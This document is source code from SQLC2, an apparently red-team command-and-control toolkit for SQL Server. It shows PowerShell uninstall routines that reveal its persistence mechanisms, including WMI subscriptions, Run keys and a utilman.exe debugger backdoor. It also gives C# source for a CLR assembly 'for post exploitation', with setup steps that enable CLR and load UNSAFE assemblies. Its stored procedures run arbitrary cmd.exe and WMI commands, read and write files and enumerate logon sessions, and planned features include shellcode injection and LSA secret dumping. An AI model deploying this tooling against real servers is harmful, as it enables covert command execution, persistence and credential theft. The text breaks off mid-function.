2449 | # Remove the WMI subscription
2450 | Write-Verbose "Remove WMI Subscription."
2451 |
2452 | # Remove WMI Filter
2453 | # Write-Verbose " - Checking for filter."
2454 | if((Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2PS_Filter*”).count -eq 1)
2455 | {
2456 | Write-Verbose " - Removing SQLC2AgentPS WMI filter."
2457 | Get-WmiObject -Namespace root/subscription -Class __EventFilter | where name -like “*SQLC2AgentPS_Filter*” | Remove-WmiObject
2458 | }else{
2459 | Write-Verbose " - SQLC2AgentPS WMI filter does not exist."
2460 | }
2461 |
2462 | # Remove WMI Consumer
2463 | # Write-Verbose " - Checking for consumer."
2464 | if((Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*”).count -eq 1)
2465 | {
2466 | Write-Verbose " - Removing SQLC2AgentPS WMI consumer."
2467 | Get-WmiObject -Namespace root/subscription -Class __EventConsumer | where name -like “SQLC2AgentPS_Consumer*” | Remove-WmiObject
2468 | }else{
2469 | Write-Verbose " - SQLC2AgentPS WMI consumer does not exist."
2470 | }
2471 |
2472 | # Remove WMI Binding
2473 | # Write-Verbose " - Checking for binding."
2474 | if((Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*”).count -eq 1)
2475 | {
2476 | Write-Verbose " - Removing SQLC2AgentPS WMI binding."
2477 | Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | where name -like “*SQLC2AgentPS_Binding*” | Remove-WmiObject
2478 | }else{
2479 | Write-Verbose " - SQLC2AgentPS WMI binding does not exist."
2480 | }
2481 | #>
2482 |
2483 | # Remove the registry run keys
2484 | Write-Verbose "Remove registry run keys."
2485 | try{
2486 | Get-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction Stop | Out-Null
2487 | Remove-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ -Name SQLC2AgentPS -ErrorAction SilentlyContinue | Out-Null
2488 | Write-Verbose " - Registry run keys removed."
2489 | }catch{
2490 | Write-Verbose " - SQLC2AgentPS run registry key does not exist."
2491 | }
2492 |
2493 | # Remove utilman.exe debugger from registry
2494 | Write-Verbose "Remove utilman.exe debugger registry keys."
2495 | if(Test-Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe\")
2496 | {
2497 | try{
2498 | Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"
2499 | Write-Verbose " - Utilman.exe debugger registry keys removed."
2500 | }catch{
2501 | Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe."
2502 | }
2503 | }else{
2504 | Write-Verbose " - SQLC2AgentPS utilman.exe debugger registry key does not exist."
2505 | }
2506 |
2507 | # Remove payload from registry
2508 | Write-Verbose "Remove payload registry keys."
2509 | if(Test-Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\)
2510 | {
2511 | try{
2512 | Remove-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\
2513 | Write-Verbose " - Registry keys removed."
2514 | }catch{
2515 | Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\."
2516 | }
2517 | }else{
2518 | Write-Verbose " - SQLC2AgentPS payload registry key does not exist."
2519 | }
2520 | }
2521 |
2522 | End
2523 | {
2524 | }
2525 | }
2526 |
2527 |
2528 | # ----------------------------------
2529 | # Uninstall-SQLC2AgentLink
2530 | # ----------------------------------
2531 | # Author: Scott Sutherland
2532 | Function Uninstall-SQLC2AgentLink
2533 | {
2534 | <#
2535 | .SYNOPSIS
2536 | This command removes the C2 server link and agent job from the agent SQL Server.
2537 | .PARAMETER Username
2538 | SQL Server or domain account to authenticate with.
2539 | .PARAMETER Password
2540 | SQL Server or domain account password to authenticate with.
2541 | .PARAMETER Credential
2542 | SQL Server credential.
2543 | .PARAMETER Instance
2544 | The instance of the C2 link agent.
2545 | .EXAMPLE
2546 | PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Password 'MyPassword123!'
2547 | .EXAMPLE
2548 | PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014"
2549 | #>
2550 | [CmdletBinding()]
2551 | Param(
2552 | [Parameter(Mandatory = $false,
2553 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
2554 | [string]$Username,
2555 |
2556 | [Parameter(Mandatory = $false,
2557 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
2558 | [string]$Password,
2559 |
2560 | [Parameter(Mandatory = $false,
2561 | HelpMessage = 'Windows credentials.')]
2562 | [System.Management.Automation.PSCredential]
2563 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
2564 |
2565 | [Parameter(Mandatory = $false,
2566 | ValueFromPipelineByPropertyName = $true,
2567 | HelpMessage = 'SQL Server instance to connection to.')]
2568 | [string]$Instance,
2569 |
2570 | [Parameter(Mandatory = $false,
2571 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
2572 | [switch]$SuppressVerbose
2573 | )
2574 |
2575 | Begin
2576 | {
2577 | # Create data tables for output
2578 | $TblResults = New-Object -TypeName System.Data.DataTable
2579 |
2580 | if($ServerName){
2581 | $ServerFilter = "WHERE servername like '$ServerName'"
2582 | }else{
2583 | $ServerFilter = ""
2584 | }
2585 | }
2586 |
2587 | Process
2588 | {
2589 | # Parse computer name from the instance
2590 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
2591 |
2592 | # Default connection to local default instance
2593 | if(-not $Instance)
2594 | {
2595 | $Instance = $env:COMPUTERNAME
2596 | }
2597 |
2598 | # Test connection to instance
2599 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
2600 | $_.Status -eq 'Accessible'
2601 | }
2602 | if($TestConnection)
2603 | {
2604 | if( -not $SuppressVerbose)
2605 | {
2606 | Write-Verbose -Message "$Instance : Connection Success."
2607 | Write-Verbose "$instance : Attempting to remove the C2 link agent on $Instance."
2608 | }
2609 | }
2610 | else
2611 | {
2612 | if( -not $SuppressVerbose)
2613 | {
2614 | Write-Verbose -Message "$Instance : Connection Failed."
2615 | }
2616 | return
2617 | }
2618 |
2619 | # Setup query
2620 | $Query = "
2621 | -- Remove server link to SQL C2 Server
2622 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'SQLC2Server') = 1
2623 | exec sp_dropserver 'SQLC2Server', 'droplogins';
2624 | else
2625 | select 'The server link does not exist.'
2626 |
2627 | -- Remove C2 agent job
2628 | IF (SELECT count(*) FROM [msdb].[dbo].[sysjobs] job WHERE name like 'SQLC2 Agent Job') = 1
2629 | EXEC msdb..sp_delete_job @job_name = N'SQLC2 Agent Job' ;
2630 | else
2631 | select 'The agent job does not exist.'"
2632 |
2633 | # Execute Query
2634 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
2635 | }
2636 |
2637 | End
2638 | {
2639 | Write-Verbose "$instance : Done."
2640 | }
2641 | }
2642 |
2643 |
2644 | # ----------------------------------
2645 | # Uninstall-SQLC2Server
2646 | # ----------------------------------
2647 | # Author: Scott Sutherland
2648 | Function Uninstall-SQLC2Server
2649 | {
2650 | <#
2651 | .SYNOPSIS
2652 | This command removes the C2 related tables on the C2 SQL Server.
2653 | .PARAMETER Instance
2654 | C2 SQL Server instance.
2655 | .PARAMETER Username
2656 | SQL Server or domain account to authenticate with.
2657 | .PARAMETER Password
2658 | SQL Server or domain account password to authenticate with.
2659 | .PARAMETER Credential
2660 | SQL Server credential.
2661 | .EXAMPLE
2662 | PS C:\> Uninstall-SQLC2Server -Verbose -Instance "mysqlserver.database.windows.net" -Database Database1 -Username sa -Password 'MyPassword123!'
2663 | .EXAMPLE
2664 | PS C:\> Uninstall-SQLC2Server -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Database Database1
2665 | #>
2666 | [CmdletBinding()]
2667 | Param(
2668 |
2669 | [Parameter(Mandatory = $false,
2670 | HelpMessage = 'SQL Server or domain account to authenticate with.')]
2671 | [string]$Username,
2672 |
2673 | [Parameter(Mandatory = $false,
2674 | HelpMessage = 'SQL Server or domain account password to authenticate with.')]
2675 | [string]$Password,
2676 |
2677 | [Parameter(Mandatory = $false,
2678 | HelpMessage = 'Windows credentials.')]
2679 | [System.Management.Automation.PSCredential]
2680 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
2681 |
2682 | [Parameter(Mandatory = $false,
2683 | ValueFromPipelineByPropertyName = $true,
2684 | HelpMessage = 'SQL Server instance to connection to.')]
2685 | [string]$Instance,
2686 |
2687 | [Parameter(Mandatory = $false,
2688 | ValueFromPipelineByPropertyName = $true,
2689 | HelpMessage = 'SQL Server database used to store the C2 tables.')]
2690 | [string]$Database,
2691 |
2692 | [Parameter(Mandatory = $false,
2693 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
2694 | [switch]$SuppressVerbose
2695 | )
2696 |
2697 | Begin
2698 | {
2699 | }
2700 |
2701 | Process
2702 | {
2703 | # Parse computer name from the instance
2704 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance
2705 |
2706 | # Default connection to local default instance
2707 | if(-not $Instance)
2708 | {
2709 | $Instance = $env:COMPUTERNAME
2710 | }
2711 |
2712 | # Test connection to instance
2713 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
2714 | $_.Status -eq 'Accessible'
2715 | }
2716 | if($TestConnection)
2717 | {
2718 | if( -not $SuppressVerbose)
2719 | {
2720 | Write-Verbose -Message "$Instance : Connection Success."
2721 | Write-Verbose "$instance : Attempting to remove the C2 tables from $Database database on $Instance."
2722 | }
2723 | }
2724 | else
2725 | {
2726 | if( -not $SuppressVerbose)
2727 | {
2728 | Write-Verbose -Message "$Instance : Connection Failed."
2729 | }
2730 | return
2731 | }
2732 |
2733 | # Setup query to grab commands
2734 | $Query = "
2735 |
2736 | -- Remove command table
2737 | IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2COMMANDS') = 1
2738 | DROP TABLE C2COMMANDS
2739 | ELSE
2740 | SELECT 'C2COMMANDS table does not exist.'
2741 |
2742 | -- Remove agent table
2743 | IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2AGENTS') = 1
2744 | DROP TABLE C2AGENTS
2745 | ELSE
2746 | SELECT 'C2AGENTS table does not exist.'"
2747 |
2748 | # Execute Query
2749 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose
2750 | if(($TblResults | Measure-Object | Select count -ExpandProperty count) -eq 1){
2751 | Write-Verbose -Message "$Instance : C2 tables did not exist."
2752 | }
2753 | }
2754 |
2755 | End
2756 | {
2757 | Write-Verbose "$instance : Please note that any databases create with have to be removed manually."
2758 | Write-Verbose "$instance : Done."
2759 | }
2760 | }
2761 |
--------------------------------------------------------------------------------
/csharp/sqlc2cmds.cs:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Author: Scott Sutherland, NetSPI (2018)
4 | Application: SQLC2CMDS.dll
5 | Version: 1.4
6 | Description:
7 |
8 | This .net DLL is intended to be imported into SQL Server and used during post exploitation activies.
9 | However, it could also be used for legitimite purposes. Long term this is intended to be the core
10 | set of functions used by the SQLC2 project being roled into PowerUpSQL.
11 |
12 | It currently supports:
13 | * TSQL queries as current user
14 | * TSQL queries as the service account (implicitly sysadmin)
15 | * Executing commands via C# wrapper / WMI
16 | * Read/Write/Remove text files
17 | * Encryption/Decryption of strings using AES
18 |
19 | Pending functions:
20 | * Read/Write binary files
21 | * Read/Write to registry
22 | * Run powershell commands without powershell.exe
23 | * Modify query functions too accept remote server target
24 | * Shellcode injection
25 | * Dumping LSA Secrets
26 | * POST/GET data from a remote web server
27 | * Download and execute script from a web server
28 | * Upload / Download file functions for SQLC2
29 |
30 | Additional Instructions:
31 |
32 | 1. Compile the DLL. Below is an example. However, be aware that this we written and testing using the .net 4 CLR.
33 | For more information on CLR versions visit: https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies
34 |
35 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /Reference:C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll SQLC2CMDS.cs
36 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library SQLC2CMDS.cs
37 |
38 | 2. Enale CLR on the server and select the MSDB database. MSDB data base is flagged as trustworthy by default which is a requirement for using CLRs in SQL Server.
39 |
40 | -- Select the msdb database
41 | use msdb
42 |
43 | -- Enable show advanced options on the server
44 | sp_configure 'show advanced options',1
45 | RECONFIGURE
46 | GO
47 |
48 | -- Enable clr on the server
49 | sp_configure 'clr enabled',1
50 | RECONFIGURE
51 | GO
52 |
53 | 3. As a sysadmin import SQLC2CMDS.dll.
54 |
55 | -- Import the assembly
56 | CREATE ASSEMBLY SQLC2CMDS
57 | FROM 'c:\temp\SQLC2CMDS.dll'
58 | WITH PERMISSION_SET = UNSAFE;
59 |
60 | 4. Import required library.
61 |
62 | -- Load dependency
63 | CREATE ASSEMBLY [System.Management] AUTHORIZATION dbo
64 | FROM 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.Management.dll'
65 | WITH PERMISSION_SET = UNSAFE
66 |
67 | 4. Map the SQLC2CMDS to stored procedures.
68 |
69 | CREATE PROCEDURE [dbo].[run_query] @execTsql NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_query];
70 | GO
71 | CREATE PROCEDURE [dbo].[run_query2] @execTsql NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_query2];
72 | GO
73 | CREATE PROCEDURE [dbo].[run_command] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_command];
74 | GO
75 | CREATE PROCEDURE [dbo].[run_command_wmi] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_command_wmi];
76 | GO
77 | CREATE PROCEDURE [dbo].[run_shellcode] @execShellcode NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_shellcode];
78 | GO
79 | CREATE PROCEDURE [dbo].[write_file] @filePath NVARCHAR (4000),@fileContent NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[write_file];
80 | GO
81 | CREATE PROCEDURE [dbo].[read_file] @filePath NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[read_file];
82 | GO
83 | CREATE PROCEDURE [dbo].[remove_file] @filePath NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[remove_file];
84 | GO
85 | CREATE PROCEDURE [dbo].[EncryptThis] @MyString NVARCHAR (4000),@MyKey NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[EncryptThis];
86 | GO
87 | CREATE PROCEDURE [dbo].[DecryptThis] @MyString NVARCHAR (4000),@MyKey NVARCHAR (4000) AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[DecryptThis];
88 | GO
89 | CREATE PROCEDURE [dbo].[run_getusercon] AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_getusercon];
90 | GO
91 | CREATE PROCEDURE [dbo].[run_getprocs] AS EXTERNAL NAME [SQLC2CMDS].[StoredProcedures].[run_getprocs];
92 | GO
93 |
94 | 5. Run tests for each of the available stored procedure.
95 |
96 | -- Runs as the current user
97 | run_query 'select system_user'
98 | run_query 'select * from master..sysdatabases'
99 |
100 | -- Runs as the service account
101 | run_query2 'select system_user'
102 | run_query2 'select * from master..sysdatabases'
103 |
104 | -- Runs with output
105 | run_command 'whoami'
106 |
107 | -- Runs without output
108 | run_command_wmi 'c:\windows\system32\cmd.exe /c "whoami > c:\temp\doit1.txt"'
109 |
110 | -- Write text to a file
111 | write_file 'c:\temp\blah21.txt','stuff2'
112 |
113 | -- Read text from a file
114 | read_file 'c:\temp\blah21.txt'
115 |
116 | -- Remove a file
117 | remove_file 'c:\temp\blah21.txt'
118 |
119 | -- Encrypt a string with provided key
120 | encryptthis 'hello','password'
121 |
122 | -- Decrypt an encrypted string with provided key
123 | decryptthis 'EAAAAIUSQtbiDvP3c8L/fuNoQ8q/zUwMD8Cd/UbCmiVnopTX','password'
124 |
125 | -- run with no parameters, and shows logon sessions
126 | run_getusercon
127 |
128 | -- run with no parameters, and shows logon sessions
129 | run_getprocs
130 |
131 | 5. Remove all added stored procedures and the SQLC2CMDS assembly.
132 |
133 | drop procedure run_query
134 | drop procedure run_query2
135 | drop procedure run_command
136 | drop procedure run_command_wmi
137 | drop procedure run_shellcode
138 | drop procedure write_file
139 | drop procedure read_file
140 | drop procedure remove_file
141 | drop procedure encryptthis
142 | drop procedure decryptthis
143 | run_getusercon
144 | drop procedure run_getprocs
145 | drop assembly SQLC2CMDS
146 | */
147 |
148 | using System;
149 | using System.Collections;
150 | using System.Collections.Generic;
151 | using System.Collections.ObjectModel;
152 | using System.Data;
153 | using System.Data.SqlClient;
154 | using System.Data.SqlTypes;
155 | using System.Diagnostics;
156 | using System.IO;
157 | using System.Linq;
158 | using System.Management;
159 | using System.Reflection;
160 | using System.Runtime.InteropServices;
161 | using System.Security.Cryptography;
162 | using System.Text;
163 | using System.Threading.Tasks;
164 | using Microsoft.SqlServer.Server;
165 |
166 |
167 |
168 | // --------------------------------------------------
169 | // Class for converting clr system.type to sqldbtype
170 | // Source: https://stackoverflow.com/questions/35745226/net-system-type-to-sqldbtype
171 | // --------------------------------------------------
172 | public static class SqlHelper
173 | {
174 | private static Dictionary typeMap;
175 |
176 | // Create and populate the dictionary in the static constructor in mappings may be wrong
177 | static SqlHelper()
178 | {
179 | typeMap = new Dictionary();
180 |
181 | typeMap[typeof(string)] = SqlDbType.NVarChar;
182 | typeMap[typeof(char[])] = SqlDbType.NVarChar;
183 | typeMap[typeof(byte)] = SqlDbType.TinyInt;
184 | typeMap[typeof(byte[])] = SqlDbType.Image;
185 | //typeMap[typeof(sbyte)] = SqlDbType.TinyInt; - not sure of sqldbtype
186 | //typeMap[typeof(ushort)] = SqlDbType.TinyInt; - not sure of sqldbtype
187 | //typeMap[typeof(uint)] = SqlDbType.TinyInt; - not sure of sqldbtype
188 | //typeMap[typeof(ulong)] = SqlDbType.TinyInt; - not sure of sqldbtype
189 | //typeMap[typeof(DateSpan)] = SqlDbType.TinyInt; - not sure of sqldbtype
190 | typeMap[typeof(short)] = SqlDbType.SmallInt;
191 | typeMap[typeof(int)] = SqlDbType.Int;
192 | typeMap[typeof(long)] = SqlDbType.BigInt;
193 | typeMap[typeof(bool)] = SqlDbType.Bit;
194 | typeMap[typeof(DateTime)] = SqlDbType.DateTime2;
195 | typeMap[typeof(DateTimeOffset)] = SqlDbType.DateTimeOffset;
196 | typeMap[typeof(decimal)] = SqlDbType.Money;
197 | typeMap[typeof(float)] = SqlDbType.Real;
198 | typeMap[typeof(double)] = SqlDbType.Float;
199 | typeMap[typeof(TimeSpan)] = SqlDbType.Time;
200 | }
201 |
202 | // Non-generic argument-based method
203 | public static SqlDbType GetDbType(Type giveType)
204 | {
205 | // Allow nullable types to be handled
206 | giveType = Nullable.GetUnderlyingType(giveType) ?? giveType;
207 |
208 | if (typeMap.ContainsKey(giveType))
209 | {
210 | return typeMap[giveType];
211 | }
212 |
213 | throw new ArgumentException("is not a supported .NET class");
214 | }
215 |
216 | // Generic version
217 | public static SqlDbType GetDbType()
218 | {
219 | return GetDbType(typeof(T));
220 | }
221 | }
222 |
223 |
224 | // --------------------------------------------------
225 | // Class for most of the SQLC2CMDS stored procedures
226 | // --------------------------------------------------
227 | public partial class StoredProcedures
228 | {
229 |
230 | //////////////////////////////////////////////////////////////////////////////////////////////////////
231 | // Common functions //////////////////////////////////////////////////////////////////////////////////
232 | //////////////////////////////////////////////////////////////////////////////////////////////////////
233 |
234 | // --------------------------------------------------
235 | // Function - run_query
236 | // --------------------------------------------------
237 | // https://msdn.microsoft.com/en-us/library/9197xfyw(v=vs.110).aspx
238 | // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqlconnectionstringbuilder(v=vs.110).aspx
239 | // No error handling when object does not exist
240 | [Microsoft.SqlServer.Server.SqlProcedure]
241 | public static void run_query(SqlString execTsql)
242 | {
243 | // Run as calling SQL/Windows login
244 | using (SqlConnection connection = new SqlConnection("context connection=true"))
245 | {
246 | connection.Open();
247 | SqlCommand command = new SqlCommand(execTsql.ToString(), connection);
248 | SqlContext.Pipe.ExecuteAndSend(command);
249 | connection.Close();
250 | }
251 | }
252 |
253 | // --------------------------------------------------
254 | // Function - run_query2
255 | // --------------------------------------------------
256 | // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader(v=vs.80).aspx
257 | // https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/retrieving-data-using-a-datareader
258 | // https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqldatarecord(v=vs.110).aspx
259 | // http://sharpfellows.com/post/Returning-a-DataTable-over-SqlContextPipe
260 | // https://msdn.microsoft.com/en-us/library/system.data.sqlclient.sqldatareader.getvalues(v=vs.110).aspx
261 | // Need to add auto identification of the current instance.
262 | // No error handling when object does not exist. Need to add variables so it can be used as an alternative to ad-hoc queries.
263 | [Microsoft.SqlServer.Server.SqlProcedure]
264 | public static void run_query2(SqlString execTsql)
265 | {
266 |
267 | // user connection string builder here, accept query, server, current, user, password - execute as system by default, accept windows creds, sql creds
268 |
269 | // Connection string
270 | using (SqlConnection connection = new SqlConnection(@"Data Source=MSSQLSRV04\SQLSERVER2014;Initial Catalog=master;Integrated Security=True"))
271 | {
272 | connection.Open();
273 | SqlCommand command = new SqlCommand(execTsql.ToString(), connection);
274 | command.CommandTimeout = 240;
275 | SqlDataReader reader = command.ExecuteReader();
276 |
277 | // Create List for Columns
278 | List OutputColumns = new List(reader.FieldCount);
279 |
280 | // Get schema
281 | DataTable schemaTable = reader.GetSchemaTable();
282 |
283 | // Get column names, types, and sizes from reader
284 | for (int i = 0; i < reader.FieldCount; i++)
285 | {
286 | // Check if char and string types
287 | if (typeof(char).Equals(reader.GetFieldType(i)) || typeof(string).Equals(reader.GetFieldType(i)))
288 | {
289 | SqlMetaData OutputColumn = new SqlMetaData(reader.GetName(i), SqlHelper.GetDbType(reader.GetFieldType(i)), 4000);
290 | OutputColumns.Add(OutputColumn);
291 | }
292 | else
293 | {
294 |
295 | // Anything other type
296 | SqlMetaData OutputColumn = new SqlMetaData(reader.GetName(i), SqlHelper.GetDbType(reader.GetFieldType(i)));
297 | OutputColumns.Add(OutputColumn);
298 | }
299 | }
300 |
301 | // Create the record and specify the metadata for the columns.
302 | SqlDataRecord record = new SqlDataRecord(OutputColumns.ToArray());
303 |
304 | // Mark the begining of the result-set.
305 | SqlContext.Pipe.SendResultsStart(record);
306 |
307 | // Check for rows
308 | if (reader.HasRows)
309 | {
310 | while (reader.Read())
311 | {
312 | // Iterate through column count, set value for each column in row
313 | for (int i = 0; i < reader.FieldCount; i++)
314 | {
315 | // Add value to the current row/column
316 | record.SetValue(i, reader[i]);
317 | }
318 |
319 | // Send the row back to the client.
320 | SqlContext.Pipe.SendResultsRow(record);
321 | }
322 |
323 | }
324 | else
325 | {
326 |
327 | // Set values for each column in the row
328 | record.SetString(0, "No rows found.");
329 |
330 | // Send the row back to the client.
331 | SqlContext.Pipe.SendResultsRow(record);
332 | }
333 |
334 | // Mark the end of the result-set.
335 | SqlContext.Pipe.SendResultsEnd();
336 |
337 | connection.Close();
338 | }
339 | }
340 |
341 | // --------------------------------------------------
342 | // Function - run_command
343 | // --------------------------------------------------
344 | [Microsoft.SqlServer.Server.SqlProcedure]
345 | public static void run_command(SqlString execCommand)
346 | {
347 | Process proc = new Process();
348 | proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
349 | proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
350 | proc.StartInfo.UseShellExecute = false;
351 | proc.StartInfo.RedirectStandardOutput = true;
352 | proc.Start();
353 |
354 | // Create the record and specify the metadata for the columns.
355 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
356 |
357 | // Mark the begining of the result-set.
358 | SqlContext.Pipe.SendResultsStart(record);
359 |
360 | // Set values for each column in the row
361 | record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
362 |
363 | // Send the row back to the client.
364 | SqlContext.Pipe.SendResultsRow(record);
365 |
366 | // Mark the end of the result-set.
367 | SqlContext.Pipe.SendResultsEnd();
368 |
369 | proc.WaitForExit();
370 | proc.Close();
371 | }
372 |
373 |
374 | // --------------------------------------------------
375 | // Function - run_getusercon
376 | // --------------------------------------------------
377 | [StructLayout(LayoutKind.Sequential)]
378 | public struct SESSION_INFO_10
379 | {
380 | [MarshalAs(UnmanagedType.LPWStr)] public string OriginatingHost;
381 | [MarshalAs(UnmanagedType.LPWStr)] public string DomainUser;
382 | public uint SessionTime;
383 | public uint IdleTime;
384 | }
385 |
386 | [DllImport("netapi32.dll", CharSet = CharSet.Unicode)]
387 | public static extern int NetSessionEnum
388 | (
389 | string srvName,
390 | string cltName,
391 | string usrName,
392 | int level,
393 | out IntPtr bufPtr,
394 | int prefmaxlen,
395 | out int entriesread,
396 | out int totalentries,
397 | ref IntPtr resume_handle
398 | );
399 |
400 | ///NetApiBufferFree
401 | [DllImport("netapi32.dll", ExactSpelling = true)]
402 | public extern static int NetApiBufferFree(IntPtr bufptr);
403 |
404 | ///ERROR_MORE_DATA
405 | public const int ERROR_MORE_DATA = 234;
406 |
407 | [Microsoft.SqlServer.Server.SqlProcedure]
408 | public static void run_getusercon()
409 | {
410 | int read, total, s;
411 | IntPtr ptr, rhandle = IntPtr.Zero;
412 | Type typ = typeof(SESSION_INFO_10);
413 | int size = Marshal.SizeOf(typ);
414 | SESSION_INFO_10 si;
415 | s = NetSessionEnum("127.0.0.1", "", "", 10, out ptr, -1, out read, out total, ref rhandle);
416 |
417 | long run = (long)ptr;
418 | // Create the record and specify the metadata for the columns.
419 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("SourceHost", SqlDbType.NVarChar, 4000),
420 | new SqlMetaData("DomainUser", SqlDbType.NVarChar, 4000),
421 | new SqlMetaData("SessionTime", SqlDbType.NVarChar, 4000),
422 | new SqlMetaData("IdleTime", SqlDbType.NVarChar, 4000));
423 |
424 | // Mark the begining of the result-set.
425 | SqlContext.Pipe.SendResultsStart(record);
426 |
427 | for (int i = 0; i < read; i++)
428 | {
429 |
430 |
431 |
432 | // Convert data from memory into the data structure
433 | si = (SESSION_INFO_10)Marshal.PtrToStructure((IntPtr)run, typ);
434 |
435 | // Set values for each column in the row using the structure
436 | record.SetString(0, si.OriginatingHost);
437 | record.SetString(1, si.DomainUser);
438 | record.SetString(2, si.SessionTime.ToString());
439 | record.SetString(3, si.IdleTime.ToString());
440 |
441 | // Send the row back to the client.
442 | SqlContext.Pipe.SendResultsRow(record);
443 |
444 |
445 |
446 | run += size;
447 |
448 | }
449 |
450 | // Mark the end of the result-set.
451 | SqlContext.Pipe.SendResultsEnd();
452 | NetApiBufferFree(ptr);
453 | ptr = IntPtr.Zero;
454 |
455 | }
456 |
457 |
458 | // --------------------------------------------------
459 | // Function - run_getprocs
460 | // --------------------------------------------------
461 | public static void run_getprocs()
462 | {
463 |
464 | try
465 | {
466 | ManagementObjectSearcher searcher = new ManagementObjectSearcher("root\\CIMV2","SELECT * FROM Win32_Process");
467 |
468 | // Create the record and specify the metadata for the columns.
469 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("ParentProcessId", SqlDbType.NVarChar, 4000),
470 | new SqlMetaData("ProcessId", SqlDbType.NVarChar, 4000),
471 | new SqlMetaData("Name", SqlDbType.NVarChar, 4000));
472 |
473 | // Mark the begining of the result-set.
474 | SqlContext.Pipe.SendResultsStart(record);
475 |
476 | foreach (ManagementObject queryObj in searcher.Get())
477 | {
478 |
479 | string parentprocessid = queryObj["ParentProcessId"].ToString();
480 | string processid = queryObj["ProcessId"].ToString();
481 | string name = queryObj["Name"].ToString();
482 |
483 | // Set values for each column in the row using the structure
484 | record.SetString(0, parentprocessid);
485 | record.SetString(1, processid);
486 | record.SetString(2, name);
487 |
488 | // Send the row back to the client.
489 | SqlContext.Pipe.SendResultsRow(record);
490 |
491 | }
492 |
493 | // Mark the end of the result-set.
494 | SqlContext.Pipe.SendResultsEnd();
495 | }
496 | catch (ManagementException e)
497 | {
498 | //MessageBox.Show("An error occurred while querying for WMI data: " + e.Message);
499 | }
500 |
501 |
502 | }
503 |
504 |
505 | // --------------------------------------------------
506 | // Function - run_command_wmi
507 | // --------------------------------------------------
508 | // Add remote server option.
509 | [Microsoft.SqlServer.Server.SqlProcedure]
510 | public static void run_command_wmi(SqlString execCommand)
511 | {
512 | object[] theProcessToRun = { execCommand };
